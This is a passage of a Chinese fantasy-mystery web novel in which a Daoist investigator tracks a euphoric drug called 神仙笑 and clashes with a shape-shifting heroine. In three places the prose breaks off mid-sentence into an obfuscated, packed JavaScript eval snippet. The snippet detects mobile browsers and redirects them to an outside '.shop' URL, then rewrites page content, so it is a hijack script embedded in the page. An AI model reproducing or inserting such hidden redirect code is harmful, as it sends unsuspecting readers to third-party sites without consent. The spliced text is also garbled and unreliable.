刘家已经乱成一团,女眷哭哭啼啼,刘员外儿子还小,刘夫人主事。 陆昭雪将刘宅从里到外检查了一遍,没有妖气残留,也没有被施展过邪术的痕迹。 “刘老爷最近接触过什么人?”陆昭雪问旁边哭肿眼睛的刘夫人。 刘夫人抽噎着:“老爷……老爷前几日是得了件宝贝,一个西域来的极乐壶,说是用它能吸到什么人间极乐之气,宝贝得很,谁也不让碰。” “壶在哪儿?” “就、就在书房书架阁上……但昨晚事发后就没找着。” “什么?”好不容易得来的线索,却这么被中断,陆昭雪心里一阵冒火,声音也有些拔高,“书房在哪?” “大人跟我来。”旁边的管家十分有眼色,见连忙引路,领着陆昭雪和李捕头一行前往书房。 书房内,陆昭云目光在房间里扫视。 书房摆设奢华,有整整一架子玉器和古董。李捕头到处搜寻,四处寻找刘夫人所说的极乐壶和其他有用的线索。 陆昭云走到桌子旁,拿起没喝完的酒壶和几碟残菜闻了闻,并无问题。 “道长,确实没有什么极乐壶,但是我发现了这个。” 李捕头已经搜索完毕,快步走到陆昭雪跟前禀报道,并将一方桃红色的丝帕递给陆昭雪。 陆昭雪接过查看,帕子边缘绣着俗气的并蒂莲,散发着俗气的脂粉味。 “昨晚谁伺候的?”他问管家。 管家忙道:“是、是春香楼的翠云姑娘。老爷昨晚叫她来唱曲,她陪到半夜才走。” “这个丝帕是她的?” “这……奴才也不知道。” 陆昭雪将丝帕递给李捕头,示意他收好,继续问道:“春香楼在哪儿?” “在醉梦坊。” 陆昭雪点了点头,没再多问,转身出了刘府,继续前往钱家和李府寻找线索,然而钱老板、李大人的家人和仆役对什么极乐壶一无所知,一口咬定自家老爷没用过那玩意,案件有用的线索只剩下那一块方帕。 恰好天已黑,春香楼到了开门做生意的时候,陆昭雪和李捕头带着几个人前往春香楼追问方帕的事。 城南醉梦坊,夜幕降临时,坊内青楼、酒肆、赌坊门前,一盏盏灯笼亮起来,照得整条街流光溢彩,街上人来人往,奢靡与繁华并存。 春香楼内,陆昭雪刚走到门口,打扮得花枝招展的老鸨就迎了上来:“这位爷,里面请!今儿有新鲜的姑娘……” “我找翠云。”陆昭雪打断他。 老鸨愣了一下,打量他几眼,见他穿着普通但气度冷硬,不像寻常寻欢客,便赔笑道:“翠云姑娘今儿身子不适,不见客。爷要不看看别的姑娘?咱们这儿还有……” “我们是官府的人,来查案的。”李捕头亮出一块令牌,打断了老鸨的话,“昨夜刘府的事,要问她几句话。” 老鸨脸色变了变,还想蒙混过关:“这位大人,翠云她真的不舒服,刚吃了药睡下。您看要不明天……” “刘员外现在成了活死人,翠云昨晚陪过他。现在要么让我见她问清楚,要么我带她回衙门问。”李捕头厉声道。 老鸨的笑容僵在脸上,迟疑了片刻,道:“那二位跟随我来。” 一群人浩浩荡荡地跟着老鸨上了楼。 翠云的房间不大,陈设简单,空气里有股浓郁的脂粉味。她躺在床上,盖着薄被,脸色确实不太好,嘴唇发白,眼神躲闪。 老鸨子进屋三言两语向翠云说明事情缘由,翠云大惊失色,挣扎着从床上坐了起来。 李捕头开门见山,从怀里取出那方桃红丝帕,问道:“这是你的?” 翠云看了一眼,点点头:“是……是奴家的。” “昨晚在刘府,你用这东西了?” 翠云摇头:“没有,这帕子可能是奴家不小心落下的。” “那你用什么了?”一旁的陆昭雪目不转睛看着她,“刘员外出事前,你给他闻了什么?亦或是抹了什么?” 翠云脸色更白了,手指攥紧了被角颤声道:“奴家……奴家不知道大人在说什么,奴家就是唱了几支曲,陪老爷喝了几杯酒。奴家没害老爷,真的没有。” 陆昭雪不语,冷冷地看着她,每一个罪犯在被抓之前都会说自己没有干过,他不相信她的话。 一旁的李捕头是个行动派,直接道:“由于你是最后一个接触刘员外的人,就请姑娘跟我们一起回衙门吧。” 说罢,向身后使了一个眼色,两名衙役 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059285|194978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 立刻会意,上前一左一右架住翠云往外拖。 翠云吓得魂飞魄散,双脚乱蹬,扯着嗓子大喊:“我说,我说!我只是用了点神仙笑,就一点点,放在鼻子处闻一下,能让客人高兴,我没害刘老爷,真的没有!” 听到神仙笑三个字,陆昭雪眼睛一眯,厉声问道:“神仙笑在哪?” 翠云挣开衙役的桎梏,跑到梳妆台前拿出一个白色瓷瓶,然后慌慌张张跑到陆昭雪跟前递给他:“这就是神仙笑!” 陆昭雪打开瓶塞,一股气体被他吸入鼻中,他立刻飘飘欲仙,兴奋不已。 旁边的李捕头察觉出不对劲,出声唤道:“陆道长?陆道长?” 陆昭雪听到呼喊,猛然清醒,但心有余悸,这东西药性如此猛烈,绝非寻常之物。他死死盯着翠云问道:“这东西哪来的?” “从货郎张那买的。”翠云嗫嚅道。 “谁去买的?”陆昭雪追问。 “大……大茶壶。” “他又是谁?” “给春香楼看家护院的。” 李捕头闻言即刻下令:“来啊,把大茶壶给我拿来。” 在老鸨的指引下,两名衙役很快将大茶壶带来,起初他嚣张的不得了:“官府又怎么了?官府就可以乱抓人了,放手……” “这东西你买的?”陆昭雪将装神仙笑的瓷瓶拿到大茶壶跟前,厉声问道。 撞见陆昭雪冰冷彻骨的眼神,大茶壶嚣张气焰下去几分,他缩了锁脖子,含糊道:“是……是我买的。” “带我去找货郎张。”陆昭雪扔下一句话转身出去,李捕头紧随其后。 一群衙役带着大茶壶跟着陆李二人,老鸨还想阻止,被李捕头瞪了一眼,也没敢再说什么。 满福客栈内,天黑许久陆昭雪还未归来,阿画高兴坏了,她可以肆无忌惮地出门了。 她蒙好面,悄悄从后院翻墙出去。 今晚的目标,是城西一个姓马的盐商。她盯这人好久了,知道他前阵子强纳了个佃户的女儿做妾,那姑娘不从,跳了井。姑娘的爹告到官府,被马盐商用钱压了下去,最终含恨病倒,只剩下一个老娘哭瞎双眼。 她已经吸食过老妇人的怨气,今天晚上就是来给她还愿的。 马府后巷,阿画翻墙进去,轻车熟路地摸到主卧。 马盐商喝多了酒,正打着鼾睡在榻上,满身酒气。 阿画立于塌前,伸出右手食指,指尖泛起一点暗金色的微光,手指轻柔而繁复地勾画,数条金色的丝线开始在空中交织,形成一张图画,画面中隐约可见一口幽深的古井、和病榻上形容枯槁的老人面孔。 阿画手指再一点,悬浮在空中的画面没入马盐商的印堂。 睡梦中的马盐商身体猛地一颤,眉头紧锁,喉咙里发出含糊的呻吟,额角渗出冷汗。 从今晚开始,马盐商每晚都会梦见那口井,梦见井里泡得发白的脸,梦见姑娘老爹死不瞑目的枯瘦脸庞。直到他肯拿出足够的家产,补偿那姑娘的母亲、族人,并去她坟前磕头认错为止。 做完一切,阿画翻墙离开马府,消失在夜色里。 右手腕内侧,木镯掩盖下的金色纹路正在慢慢隐去。 第五十桩契约达成。 5. 现身 子时,北城鬼市。 这里是汴京的地下黑市,白天没什么人在,夜里就变了样,牛鬼蛇神聚集,卖什么的都有,买什么也有。 在这里地上铺块布就是摊,点盏油灯就是铺,卖的东西五花八门,来路不明的古董、西域来的药材、写满奇怪字符的书,还有些用布盖着不让细看的玩意儿。 陆昭雪和李捕头带着七八个衙役,穿着便装混在人群里,前面带路的是春香楼护院大茶壶,据他的交代,货郎张平时就在这里卖东西。 “大人,就是前面那个摊。”大茶壶指着不远处一个蹲在墙角的黑影。 那摊子很小,地上铺着块脏兮兮的蓝布,摆着几个瓷瓶和几包药草。摊主带着斗笠,帽子压得很低,看不清脸,只露出一截干瘦的尖下巴和山羊胡。 “确定是他?”陆昭雪低声问。 “确定!翠云姑娘的神仙笑,都是我从他这儿买的。他一直在这摆摊,大家都知道他姓张,但是不知道真名叫什么,就都叫他货郎张。”大茶壶悄悄答道。 陆昭雪点了点头,朝李捕头使了个眼色。李捕头会意,带着衙役们散开,慢慢围了过去。 货郎张似乎察觉到了什么,一双小眼睛左右看了看。就在李捕头离他还有三步远时,他突然跳起来,一脚踢翻了摊子! 瓷瓶药草滚了一地,一股刺鼻的气味弥漫开,人群顿时骚乱起来。 “抓人!”李捕头大喝一声,衙役们扑了上去。 货郎张身形异常灵活,像条泥鳅似的在人群中钻来钻去,三两下就摆脱了最近的衙役,朝着黑市外面跑去。 “追!”陆昭雪率先追了上去。 货郎张的速度极快,凭借着对地形的熟悉,很快逃出黑市。 李捕头和衙役们被甩在身后,陆昭雪跟在货郎张后面紧追不舍,两人一前一后穿过几条巷子, “真是狗皮膏药!”看着陆昭雪在后面紧追不舍,货郎张恼火不已,眼看要被逼入一条死巷子,他情急之下猛蹬墙面,借力翻过一堵矮墙。 眼看对手破绽已出,陆昭雪凌空跃起,一掌击出,凌厉的掌风夹杂着醇厚的内力正中货郎张的后心。 “噗——”货郎张喷出一口血,受伤之后他逃生的欲望更加强烈,落地后忍着痛踉跄着冲进另一条稍宽的街道。 陆昭雪紧随其后翻过墙,落在空旷街上。 这里是城北,夜里人少,街上只有几家酒肆和客栈亮着灯,街上一片昏暗。 货郎张受了伤,速度明显慢了下来,正慌不择路地朝前狂奔。而前方巷口,恰好转出一个瘦小的身影。 是阿画,她刚从马盐商家里出来,匆匆地往客栈赶。 货郎张眼看后面追兵已至,眼中凶光一闪,脑子里出现了一个坏念头:抓个人质。 他猛地加速,右手朝着阿画抓去! 阿画听到风声抬头,正对上货郎狰狞干巴的脸,和后面陆昭雪疾掠而来的身影。 她瞳孔骤缩,心猛地一跳,不能让陆昭雪看见阿画在这里!要不然她的身份一定会暴露。 脑中念头飞转,她突然惊慌地一绊,整个人“哎哟”一声朝着旁边堆放的杂物筐摔去。 这一摔巧妙地让她脱离了货郎张最初的抓捕,同时也把自己藏进了杂物之中。 货郎张抓了个空,一愣。 就是这一愣神的功夫,陆昭雪已至!剑气凛然,直刺他后心。 生死关头,货郎张哪里还顾得上抓人质,本能地往旁边一闪,同时为了扰乱陆昭雪视线,嘶声大喊:“后面还有人!”边喊边用手指指向那堆杂物筐后。 陆昭雪剑势微滞,眼角余光扫向那边。 而趁这两个人交手的机会,阿画躲在杂物已经完成画骨变形。 粗布衣裳瞬间化作一身妖异的红衣,枯黄散乱的头发变作泼墨般的长发,无辜怯懦的双眼被野性灵动取代。 江离本尊现身! 她从杂物框中起身,然后缓缓从黑暗中走出。 货郎张傻眼了,他明明看见个小丫头摔进去,怎么出来个红衣女煞星? 江离却不看他,一双眸子似笑非笑地看向陆昭雪,声音慵懒沙哑:“陆道长,好巧。又在抓小妖怪?” 陆昭雪全身骤然绷紧,握剑的手青筋微凸。又是她!这次绝不能再让她跑了! “妖女!”他声音冰冷,还带着怒气,“这次看你往哪逃!” 货郎张见势不妙,悄悄往后挪。江离余光瞥见,轻笑一声,忽然抬手,袖中出现数不尽的红丝线,化成了一条鞭,然后猛地甩出,卷住货郎张的脚踝,将他拉向自己身后。 “躲好了,要不然小心陆道长把你当成妖物活剥了。”她调侃道,语气中尽在嘲讽陆昭雪人妖、好坏不分。 货郎张摔得七荤八素,缩在她身后瑟瑟发抖。 陆昭雪眼神更寒,当着他的面庇护他正在追逐的犯人,还敢嘲讽他,何其嚣张! 他不再废话,举剑直刺江离面门,这一剑比月老祠时更快、更厉,带着必杀之意。 江离却不硬接,她足尖一点,向后飘退,同时甩动鞭子,缠向街道两旁悬挂的灯笼、招牌、晾衣竹竿。 “陆道长,火气别这么大。”她笑声飘忽,手指一勾,那些被缠住的物件“呼啦啦”朝陆昭雪砸去,虽无杀伤力,却足以扰人视线。 陆昭雪挥剑斩落杂物,却发现江离已借着这片刻混乱跃上了旁边客栈的屋顶。 他赶紧纵身跃上屋顶追去。 月光下,两道身影在高低错落的屋脊上追逐。江离在前面跑,陆昭雪后面追。江离还时不时回头,用红丝击碎瓦片阻拦陆昭雪继续追逐。 “陆道长,上一次我逃走时,不小心划伤了你的脸,没把你毁容吧?”她声音带着戏谑的关切,精准地戳中陆昭雪的痛处,竟然让她在自己眼皮下逃走了。 陆昭雪脸色更沉了,动作更加迅速,誓要抓住她。 “那晚的滋味,道长还记得吧?”她继续说着,语调慢悠悠,像在闲聊,“你生气的样子,很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059286|194978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 特别。” 这话语如羽毛搔刮在身上最嫩那一块肌肤上,带着难以言喻的挑衅与暧昧。陆昭雪眼中怒意更盛,剑气暴涨,一剑斩断前方拦路的烟囱。 砖石纷飞中,江离却如游鱼般滑开,还有闲心评价:“剑气不错,就是人太死板。你们昆仑墟是不是只教怎么砍妖,不教怎么说话?” “妖孽受死!”陆昭雪终于被她激得低喝出声,剑招越发凌厉。 然而江离现在已晋升为画骨仙,功力已上升了一个台阶,身法比在月老祠交手时更加诡异。每当陆昭雪感觉到要刺到她了,她总能轻飘飘地避开,那袭红衣仿佛没有实体。 两人在狭窄的屋脊上交手数招,瓦片碎裂飞溅。陆昭雪急于拿下她,攻势如潮。江离却守得滴水不漏,脸上还带着一抹悠然的微笑。 “你就这点本事?”她忽然格开一剑,向前一步,几乎贴着陆昭雪,压低声音道,“那晚你刺我一剑的狠劲呢?” 温热的气息拂过耳廓,陆昭雪耳朵一红,剑势竟乱了半分。 就是现在! 江离眼中笑意一盛,猛地爆开一团浓郁的红雾,挡住陆昭雪的视线,然后溜之大吉。 陆昭雪急挥剑驱散红雾,待视线清明,眼前哪里还有红衣身影?只有月光清冷,屋脊空空。 夜风中,遥遥传来她带着笑意的声音,渐行渐远: “陆道长,后会有期——” 陆昭雪站在屋脊上,握着剑的手微微发抖,胸口充斥着让她再一次跑掉的愤怒,还有一股被戏耍后的憋闷。 他闭上眼,深吸一口气,强迫自己冷静下来,然后转身回去,回到最初追逐货郎张的那一条巷子。 巷子里空无一人,用脚趾头想也知道货郎张必定趁此混乱逃走了。 陆昭雪走到墙根,检查那些破筐,刚才那个妖女就是从这里走出来的,看看到底有什么有用的线索吗?突然墙角一个东西吸引了他的主意,一小块黑色的、带着粗硬短毛的皮躺在地上。 陆昭雪蹲下,捡起那块皮,这是某种动物的兽皮,上面有淡淡的妖气。 难道是这妖女留下来的? 看来今晚并非全无收获,至少确认了一点:妖女对这一带的地形异常熟悉,她就躲藏在汴京城里,他一开始的判断没错。 他走出小巷,李捕头终于带着人气喘吁吁地赶来。 “道长,没、没追上……” “回去再说!”陆昭雪声音平静,听不出情绪。 一行人沉默地往回走。 不远处另一条暗巷深处,一道瘦小的身影扶着墙,轻轻喘息。粗布衣裳,枯黄头发,正是阿画的模样。 她摸了摸脸,确认画皮完美无缺,这才放心。 好险!若非当机立断变回真身引开陆昭雪,恐怕此刻已经暴露身份了。 她整理了一下衣衫和头发,然后朝着客栈的方向慢慢走去。 她不能用法力飞回去,一旦用法力,她身上的妖气就会泄露,一定会被陆昭雪察觉。 6. 遇险 陆昭雪回到驿馆时,天已经大亮。 他推开房门,一股彻骨的寒意扑面而来,像踏进了腊月冰窖。 这不对劲,现在已是暮春,清晨虽有凉意,但绝不至于此。 陆昭雪立刻警惕起来,但是环视一周,屋内无人,摆设也没有动,他松了一口气,继续踏过门槛,但寒意更甚,尤其左脚踩到的那块地砖,冷气直透鞋底。 如此反常令陆昭雪不解,同时心里生出一丝烦躁,这客栈怎么回事? 他走到黄梨花圆桌坐下,想给自己倒杯茶。可刚坐下,一股灼烫感直冲屁股,好像坐在了一块烧红的炭上面,他急忙起来,察看圆凳,可并无异样。 “掌柜的!”他拔高声音呼叫,声音中透着冷意与烦躁。 很快,掌柜的小跑着过来,身后跟着一个杂役。 “陆道长,有何吩咐?” “这屋子怎么回事?”陆昭雪问。 掌柜一愣,茫然地看了看房间:“屋子?这一切都好啊,昨日刚打扫过。” “我一进门就觉得寒意彻骨。”陆昭雪说,“刚想坐下来倒杯茶暖身子,这凳子又跟烧红的烙铁一样” 掌柜更糊涂了,他小心翼翼走进来,站在门口感受了一下,又伸手摸了摸圆凳:“道长,不冷,也不烫啊。” 跟着进来的杂役也怯生生地跟着试了试,都摇头。 陆昭雪盯着他们看了几秒,道:“把今天早上进过这屋子的人都叫来。” 很快,三个人被带到房中,送水的伙计、厨房送早点的帮工,还有阿画。 她站在最后面,低着头,手指绞着衣角,和平时一样怯生生的。 陆昭雪一个个问过去,伙计说送了水就出去了,帮工放下食盒就走了。 轮到阿画时,她声音细得几乎听不见:“我、我来擦桌子,扫地,干完就走了” “当时可发现什么异常?”陆昭雪问。 “没、没有。”阿画摇头。 他又看了看几个战战兢兢的杂役,看了看一脸茫然的掌柜,最后目光落在阿画身上。 她正偷偷抬眼看他,他刚望过去,她的目光又躲开,像只受惊的兔子。 看这几个人不像说谎的样子,难道真是他的问题? 陆昭雪走到门口,发现不冷了,又坐在那个凳子上面,也不烫。可是刚才的感觉不会错,这么多人只有他一个人感受到了,难道他昨晚中了那妖女的妖术? 陆昭雪沉默片刻,挥了挥手:“没事了,都下去吧。” 众人退下。 阿画跟着人群往后院走,转身时,嘴角几不可查地弯了一下。 她打扫时,悄悄在地上和凳子下面放了两只冰火虫。这种虫子和萤火虫长得差不多,一般人很难注意,就算注意到也以为是萤火虫。冰火虫只要沾上人,就会根据人的心情变化释放冷热,人心情低落,它放出寒气,人烦躁或生气,它放出热气。它也和萤火虫一样,释放一次,生命也就此终结。 现在只是一个开始,陆昭雪你等着吧! 众人退下后,陆昭雪重新审视这间屋子,一切都和平常一样。但他知道有人在暗处盯着他,也许今天只是一个下马威。 是那妖女还是活死人案件的幕后凶手?所以必须尽快抓到货郎张,查清案件真相。 早饭后,李捕头来了,告知了陆昭雪衙门准备抓捕货郎张的计划。 “现在已经封城,货郎张跑不出汴京。他贪财,受伤又需要钱治。我们打算假扮成外地来的富商,大茶壶找人帮我们牵线,到时候就说要买大批神仙笑,他一定上钩。” “主意可行,什么时候?” “未时三刻。那时候街上人少,好动手。” 陆昭雪点头:“就按你说的办。” 然而计划总是赶不上变化,货郎张这厮狡猾地很,收买了一个替身代替他前来交易,而且将交易地点放在汴京最繁华的南御街上的一个茶摊上。 前来交易的人一出现,陆昭雪和李捕头就知道上当了,但此时不能轻举妄动,因为货郎张肯定就在附近,一动就会打草惊蛇。 陆昭雪站在栖霞楼上,这是茶摊附近的最高处,暗中观察。距离茶摊三十步的字画摊上,一个干瘦的身影吸引了他的视线,他看似挑选字画,实则左右张望,尤其是茶摊那边。 他就是货郎张,虽然将脸抹得黢黑,重换了一身行头,但那尖下巴、小眼睛,分明就是货郎张陆昭雪敢肯定。 他快速下楼,找到扮成挑夫的李捕头,在他耳边耳语几句。 而货郎张见替身与买家已经成交,银子到手,一切顺利,不由得放松警惕,挪步欲要混入人流。 李捕头见货郎张要跑,向周边埋伏的捕快使了一个眼色,然后猛地一挥手:“动手!” 四周埋伏的捕快瞬间冲出! 货郎张听到动静,反应极快,扭身就想往反方向的人群里钻。 陆昭雪却比他更快,见他要跑,一脚抄起李捕头的扁担打向货郎张的腿弯处。 货郎张“哎呦”一声,扑倒在地,周遭埋伏的捕快立刻围上去准备逮人。 恰在此时,长街东头爆发出震耳的唢呐锣鼓声,一队长长的迎亲队伍拐了过来,吹吹打打,好不热闹。顿时,看热闹的百姓呼啦涌上街道,你推我挤。 趁着这乱劲儿,货郎张咬牙挤入人群。 陆昭雪和李捕头带着人在后面追。 货郎张受伤吃痛,后又追兵,慌不择路,一抬眼,正看见个穿着蓝色布裙的姑娘,挎着个小包袱,低着头在人群里穿梭。 正是阿画。 货郎张眼中凶光一闪,又想故技重施,他猛地扑过去,铁钳似的手臂死死勒住阿画脖颈,将她拖到身前。 阿画吓得魂飞魄散,手里的包袱掉在地上,“救……命”的惊叫被扼在喉咙里。 “都别动!”货郎张将瑟瑟发抖的阿画挡在身前,冲着几步外已稳住身形的陆昭雪和李捕头厉声嘶喊,“给老子让开条路,备匹马出城!不然……”他手指猛地用力扣在阿画喉间,意思不言而喻。 她怎么在这?陆昭雪的瞳孔几不可察地收缩了一下,目光掠过阿画惨白的小脸和惊惶含泪的眼,那模样可怜至极,他终是心软 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059287|194978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,开口喝道:“放开她。” “把马牵过来!”货郎张寸步不让。 陆昭雪唇线抿直,紧紧盯着货郎张,距离太近,贸然出手风险太大,阿画必定有危险。 他沉默一会儿,低声对李捕头道:“给他备一匹马吧!” 李捕头颔头,示意手下去牵一匹马过来。半柱香的功夫,一匹枣红色大马被牵了过来。 货郎张见马已到,心里欣喜,他死死钳着阿画,一步一步退向马侧。阿画被他勒得面色青白,发出细微的呜咽。 就在他一手仍扼着阿画,另一手抓住马鞍,欲翻身上马之时。陆昭雪将手中连鞘的长剑探出,重重打在大马的后腿处! 马儿吃痛,发出一声长嘶,前蹄骤然而起。货郎张措手不及,被这突如其来的力道带得踉跄向后,勒住阿画的手臂不由一松。 陆昭雪等的就是这一刻,他如风一样突然向前,一掌打中货郎张肩膀,然后用另一只手抓住阿画胳膊,将她带离险境。 阿画只觉得颈间钳制一松,但脚踝处传来疼痛,她整个人不由自主地向一旁歪倒。 陆昭雪来不及多想,急忙伸出胳膊,托住她要倒下的身子。 “你没事吧?”待二人站稳后,陆昭雪开口问道,语气里带着不易察觉的急促。 那点扭伤的疼痛,对常年在外、摸爬滚打惯了的阿画来说不算什么。可一抬眼,瞧见陆昭雪那副眼担忧的模样,尤其是他耳根竟然红了,阿画心里就起了戏谑的念头。 她立刻眨巴着大眼睛,指着自己的脚踝。 “疼……”声音软糯,还带着点可怜巴巴的颤音。 陆昭雪顺着她的目光看向她脚踝,果然肿起来了,他皱眉,小心翼翼地扶着她,让她在街边石阶上坐下。 另一边,李捕头已经带人把刀剑架在了货郎张的脖子上。 货郎张再次挨了一掌,旧伤加上新伤,吐了好大一口血,他只觉得自己五脏六腑都要被震碎了,疼得面容扭曲,脸上竟浮现出灰褐绒毛,额头竟然冒出两只颤抖的、灰褐色的长耳朵,鼻子化作外凸的黑鼻头,唇边长出两颗食指长的獠牙,在太阳下泛着骇人的光。 原来是一只獐子精,怪不得抓他的两次,他身形如此敏锐,陆昭雪心道。 李捕头和围观百姓都大吃一惊,这妖物竟然隐藏的如此之深。 为了维护自己胆小孤女的身份,阿画也假装大吃一惊,身体害怕得发抖,突然伸手抓住陆昭雪的胳膊,将脸躲在衣袖后面,只漏出半只噙着泪的大眼睛。 陆昭雪本来过去查看獐子精的情况,被这么一抓,整个人一僵,胳膊上传来的力度和细微的颤抖让他动弹不得,他感觉自己的耳朵更红了。想抽手,又怕她真的吓坏了。只得硬邦邦地站在原地,任由她抓着,脸上的表情比他挨师傅训的时候更加紧绷无措。 獐子精已经恢复人样,知道大势已去,吓得面如土灰,扯着嗓子喊道:“别杀我!神仙笑,那药不是我弄的!是、是从城南锦绣阁苏娆那儿拿的货!” 锦绣阁?这一次阿画不装了,真的大吃一惊,这事跟苏娆什么关系? 7. 交锋 陆昭雪听着货郎张的供述,眼神寒冷如冰。他侧首对李捕头道:“李捕头,我们速去锦绣阁,莫让那苏娆闻风逃走。” 李捕头立刻点兵点将。 陆昭雪突然想到还有阿画,正想对李捕头说请他留一个人送阿画回满福客栈,话没开口就感觉袖子又被拽住了。 阿画仰着脸,眼圈鼻尖都红红的,细声抽噎:“陆、陆大哥,我脚疼得走不了路,能不能先送我回去?” 陆昭雪低头,看见她肿起的脚踝,又对上她泪光点点的眸子,到嘴边的话便堵住了。 李捕头看出了他的为难,主动开口道:“我们先行一步,陆道长安置好这位姑娘再速速赶来吧!” “如此也好!”陆昭雪点头道。 李捕头留下两个人把货郎张送回衙门,然后带着几个捕快向锦绣阁赶去。 人群也散了,这下只剩陆昭雪和阿画两个人。 陆昭雪看着她沾了灰土的裙摆和肿起的脚,眉头又锁起来,这要怎么送回去?背回去?不合适!抱回去?更不合适! 他正为难之际,目光瞥见十步外那匹方才货郎张要求给他备的马,总算有了主意。 他把马牵过来,犹豫了一下,低声道:“得罪。”然后伸手,轻轻将阿画托抱起来,放在了马鞍上。 动作很快,手臂也稳,但指尖碰到她衣衫时仍有些僵硬。 阿画低低“呀”了一声,乖乖坐好,瞥见他通红的耳朵,心里不由得发笑,还挺纯情! 陆昭雪牵着缰绳快步往回走,街上人群熙攘,偶尔有人好奇打量他们。 走了一会儿,陆昭雪还是忍不住问出了心中疑惑:“你今日为何在南御街?” 阿画小声回答:“客栈掌柜说我手脚勤快,绣活也不错,便写了帖子,介绍我去齐汇绣庄试试,说那里的活适合姑娘家干。”她声音越说越低,最后嘟囔道:“谁知道遇上这种事。” 陆昭雪“嗯”了一声,不再多问。 陆昭雪将阿画送回客栈时,掌柜正站在门口揽客,一见阿画被扶下马,一瘸一拐,忙问道:“哎呦!这是怎么了!” 阿画把事情大致说了一下,声音细细弱弱,带着惊魂未定的颤音。 掌柜的听后连连叹气,吩咐小二快去请郎中。 陆昭雪将阿画交托给掌柜,拱手道:“劳请掌柜的费心了。””说罢翻身上马,朝着锦绣阁方向疾驰而去。 阿画被搀着回了后院自己的房间。门一关,她脸上那点怯弱立刻收了起来,侧耳听着院内动静,待郎中来看过、开了点散瘀的膏药,掌柜和小二都下去忙活后,她悄无声息地出门,看了看确定后院没有人后,翻墙而出。 她得赶紧去锦绣阁看看苏娆怎么样了,刚才她故意拖着陆昭雪送她回来,就是为了给苏娆拖住一线生机,如果陆昭雪晚去一些,她还有逃脱的机会。 她边走边念了个诀,身形一晃,已变成个穿灰布衣的寻常妇人,混入了街上的人流里。 锦绣阁前围了些看热闹的百姓,指指点点。阿画化身的妇人挤在人群里,只见阁内一片狼藉,桌椅翻倒,瓶瓶罐罐散落一地。 李捕头的人正在搜查,陆昭雪环顾四周搜寻有用的线索。 “那女子有些本事,和我们打斗一番,从后院跑了,但是她跑得匆忙,什么都没有带。”李捕头走到陆昭雪身边,说道。 陆昭雪脸色凝重,没有回李捕头的话,他好像在这闻到了淡淡的妖气,难道苏娆也是妖? 阿画化作的妇人在人群里听得清楚,心里松了一口气,还好苏娆逃脱了。她猜她是去了城北外的槐树林,她们这一支族人的禁地附近。 她不动声色地退出人群,拐进小巷,朝着城北疾行而去。 城北槐树林深处,古木参天,林里一片晦暗。 已经变回本身的江离背靠着一棵虬枝盘曲的老树,她面前,正站着一身狼狈的苏娆。苏娆依旧是一身在锦绣阁做生意时穿得鲜亮衣裙,发髻却有些松散,颊边沾了灰土,显出几分狼狈。 “苏娆!”江离的声音夹杂着怒气,“神仙笑到底怎么回事?你怎敢用这种东西沾染凡人因果?” 苏娆咬了咬唇,眼底闪过一丝不甘与委屈:“阿离,我没害人!我只是只是在他们最快活、最放松的时候,抽取那么一丝丝开心的情绪罢了,绝没有伤及根本,更不会抽走他们的七情六欲!”她急急辩解,“神仙笑是根据抽取的开心情绪炼成的,只要吸取就能获得欢愉,我只是想赚点钱,没有害人,没有……” “胡闹!”江离打断她,“人之情绪,牵系魂魄精气,岂是你能随意抽取把玩的?你以此牟利,已引出祸事!” 苏娆眼圈一红,委屈地道:“我知道错了。” “汴京你已经不能再留了,得赶紧走。”江离当机立断。 “可、可锦绣阁里,有我娘留给我的玉簪,我必须回去拿!”苏娆倔强地道。 “你疯了?”江离蹙眉,“陆昭雪他们定派人锦绣阁阁蹲守,回去就是自投罗网。” 苏娆泪水滚了下来,一时间也没了主意。 阿画看着她半晌,终是叹了口气。她闭着眼睛念了几声咒语,片刻后,站在原地的已是与苏娆一般无二的容貌身姿。 苏娆惊呼:“阿离,你?” “在此等着,莫要乱跑。”变身后的江离开口,声音与苏娆一模一样,“我去去就回。” “不行,你不能去!祸是我闯的,要去也是我自己去!”苏娆斩钉截铁地道,阻止着江离前去冒险。 “我道行比你深,我去更稳妥。”江离开口道,语气中带着不容苏娆拒绝的坚定,“也别说要跟我同去的话,你去了只会拖累我。安心在此等着吧,簪子我一定替你带回来。” 说罢,她转身往城中的方向走去,身影很快没入暮色中。 “阿离……”苏娆望着她消失的方向,喉间哽咽,眼中泛起一片湿润的水光。 江离化作的“苏娆”隐在巷口阴影中,望着锦绣阁,黑漆漆的一片,明面上没有一人,但江离知道暗处全是捕快。 